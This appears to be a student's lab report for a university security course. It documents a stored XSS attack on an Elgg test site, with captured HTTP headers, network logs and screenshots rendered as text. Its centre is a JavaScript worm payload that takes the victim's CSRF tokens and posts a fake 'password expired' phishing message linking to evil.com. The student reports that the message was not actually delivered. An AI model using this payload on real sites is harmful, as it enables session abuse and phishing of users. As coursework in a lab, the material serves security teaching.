

Cybr271 Assignment 3 Marking Challenge Report

This is the content of a successful message from alice, to samy for testing purposes.

`_elgg_token: dCC77IRzGoWkavbL3zZCjQ`

`_elgg_ts: 1570579686`

`body: body`

`recipients:`

`recipients[]: 47`

`subject: subject`

Filter headers

② Connection: keep-alive

② Content-Length: 0

② Content-Type: text/html; charset=utf-8

② Date: Wed, 09 Oct 2019 00:08:20 GMT

② Expires: Thu, 19 Nov 1981 08:52:00 GMT

② Location: <http://ec2-54-209-105-64.compute-1.amazonaws.com/messages/inbox/alice>

② Pragma: no-cache

② Server: Apache/2.4.18 (Ubuntu)

② Via: 1.1 www-cache2.ecs.vuw.ac.nz (squid/3.5.28)

X-Cache: MISS from www-cache2.ecs.vuw.ac.nz

Request headers (608 B)

② Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

② Accept-Encoding: gzip, deflate

② Accept-Language: en-US,en;q=0.5

② Connection: keep-alive

② Content-Length: 114

② Content-Type: application/x-www-form-urlencoded

② Cookie: Elgg=acpkjv7btptppkdi700e97q63

② Host: ec2-54-209-105-64.compute-1.amazonaws.com

② Referer: http://ec2-54-209-105-64.compute-1.amazonaws.com/messages/compose?send_to=47

② Upgrade-Insecure-Requests: 1

② User-Agent: Mozilla/5.0 (X11; Linux x86_64...) Gecko/20100101 Firefox/60.0

The code below is my script I wrote.

```
<script type= "text/javascript">
    window.onload = function () {
        var userName = elgg.session.user.name;
        var guid = "&guid=" + elgg.session.user.guid;
        var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
        var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
        var desc = "&body=Click here to reset: <a href=\"http://evil.com\">Reset</a>";
desc += "&subject=Your password has expired";
desc += "&recipients[]=47&recipients="

        var content = token + ts + desc;
        var sendurl =
"http://ec2-54-209-105-64.compute-1.amazonaws.com/messages/add"+elgg.session.user.guid;
        var Ajax = null;
        //propagate worm
        Ajax = new XMLHttpRequest();
        Ajax.open("POST", sendurl, true);
        Ajax.setRequestHeader("Host", "ec2-54-209-105-64.compute-1.amazonaws.com");
        Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        Ajax.send(content);

    }
</script>
```

This code does not quite manage to send a message from admin to samy, it does trigger the script though, screenshots below for examples.


XSS Lab Site

ActivityBlogsBookmarksFilesGroupsMore »

Messages > Inbox

Work please

Reply

 Alice

Work please

just now

✕

InspectorConsoleDebugger{} Style EditorPerformanceMemoryNetworkStorage

11

AllHTMLCSSJSXHRFontsImagesMediaWSOther

Persist LogsDisable cache

StatusMethodFileDoCauseTypeTransferredSize0 ms320 ms640 ms

HeadersCookies


200	GET	76	ec...document	html	3.99 KB	15.25 KB	0 ms	320 ms	640 ms	Preview
200	GET	font-a...	ec...stylesheet	css	cached	28.38 KB				
200	GET	elgg.css	ec...stylesheet	css	cached	58.19 KB				
200	GET	colorb...	ec...stylesheet	css	cached	3.80 KB				
200	GET	jquery...	ec...script	js	cached	0 B				
200	GET	jqer...	ec...script	js	cached	0 B				
200	GET	requir...	ec...script	js	cached	603 B				
200	GET	requir...	ec...script	js	cached	0 B				
200	GET	elgg.js	ec...script	js	cached	0 B				
200	GET	en.js	ec...script	js	cached	0 B				
200	GET	init.js	ec...script	js	cached	619 B				
200	GET	ready.js	ec...script	js	cached	271 B				
200	GET	repor...	ec...script	js	cached	0 B				
200	GET	Plugin...	ec...script	js	cached	630 B				
404	POST	add36	ec...xhr	html	7.88 KB	7.47 KB				

Response payload

1<!DOCTYPE html>
2<html xmlns="http://www.w3.org/19
3<head>
4<title>Page not found : XSS L
5require = function () {
6// handled in the view "elgg.
7require_queue.push(arguments
8};
9require_queue = [];
10</script>
11</head>
12<body>
13

The script body is shown in the inbox also

Inbox

 Alice

Work please

5 minutes ago

✕

```
window.onload = function () {  
  var userName = elgg.session.user.name;  
  var guid = "&guid=" + elgg.session.user.guid;  
  var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;  
  var token = "&__elgg_token=" + ...  
}
```

Admin

Blogs

Bookmarks

Files